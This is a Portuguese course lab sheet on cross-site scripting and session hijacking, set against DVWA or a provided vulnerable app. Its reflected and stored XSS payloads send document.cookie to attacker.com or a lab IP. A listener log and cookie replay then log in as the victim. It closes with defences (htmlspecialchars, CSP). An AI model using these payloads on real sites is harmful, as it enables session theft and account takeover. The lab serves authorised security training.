Pular para o conteúdo principal

Lab 6.3: XSS e Sequestro de Sessão

Objetivos de Aprendizagem​

Ao final deste laboratório, você será capaz de:

  • Compreender os ataques Cross-Site Scripting (XSS)
  • Diferenciar XSS Reflected, Stored e DOM-based
  • Injetar JavaScript malicioso em uma aplicação web
  • Roubar cookies de sessão
  • Realizar um ataque de sequestro de sessão (session hijacking)
  • Conectar-se como outro usuário sem saber sua senha
  • Detectar vulnerabilidades XSS no código
  • Implementar proteções (output encoding, CSP)

Duração Estimada​

35 minutos

Pré-requisitos​

  • Aplicação web vulnerável (DVWA ou aplicação fornecida)
  • Servidor web local (XAMPP/WAMP)
  • Navegador web
  • Compreensão básica de HTML e JavaScript
  • Lab 6.2 (SQL Injection) concluído

Contexto Profissional​

XSS está classificado no OWASP Top 10. Permite:

  • Roubo de cookies e sessões
  • Defacement de sites
  • Redirecionamento para sites maliciosos
  • Keylogging no lado do cliente
  • Roubo de informações sensíveis

Casos reais:

  • Twitter (2010): worm XSS auto-propagado
  • eBay (2014): XSS persistente
  • British Airways (2018): Skimming via XSS

XSS permite roubar sessões de usuários e executar código malicioso no navegador das vítimas.

PERMITIDO:

  • Aplicações de laboratório
  • Bug bounty autorizado
  • Testes com permissão

PROIBIDO:

  • Sites reais sem autorização
  • Roubo de sessões de terceiros
  • Defacement de sites

Parte 1: XSS Reflected​

Teste Básico​

Em um campo de busca ou URL:

<script>alert('XSS')</script>

Se aparecer um popup: Vulnerável!

Explicação: O JavaScript é executado no navegador da vítima.

Roubo de Cookies​

<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>

Cookie enviado para o servidor do atacante!


Parte 2: XSS Stored (Mais Perigoso)​

Injeção em Comentários​

Em um campo de comentário:

<script>
fetch('http://attacker.com/log?cookie=' + document.cookie);
</script>

Salvo no banco de dados!

Cada visitante que vê o comentário:

  • JavaScript executado
  • Cookie roubado automaticamente
  • Sessão comprometida

Parte 3: Sequestro de Sessão​

Payload XSS:

<script>
var img = new Image();
img.src = 'http://192.168.100.10:8000/steal?cookie=' + encodeURIComponent(document.cookie);
</script>

Na VM do atacante, escute:

python3 -m http.server 8000

Quando a vítima visitar a página:

192.168.100.20 - - [08/Nov/2024 15:30:45] "GET /steal?cookie=PHPSESSID=abc123xyz456 HTTP/1.1" 200 -

Cookie capturado: PHPSESSID=abc123xyz456

Com a extensão "EditThisCookie" ou console do desenvolvedor:

document.cookie = "PHPSESSID=abc123xyz456";
location.reload();

Atualize a página:

BOOM! Conectado como a vítima SEM senha!


Parte 4: Proteção​

Código Vulnerável​

echo "Bonjour " . $_GET['name'];

Código Seguro​

echo "Bonjour " . htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');

htmlspecialchars: Converte < em &lt;, bloqueia execução!

Content Security Policy (CSP)​

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">

Bloqueia todo JavaScript inline!


Entregáveis​

  1. Relatório com capturas de tela do XSS funcional
  2. Cookie roubado e sequestro de sessão bem-sucedido
  3. Código vulnerável vs seguro
  4. Recomendações de proteção

Lab desenvolvido no âmbito do curso Sistemas Operacionais - MÓDULO 6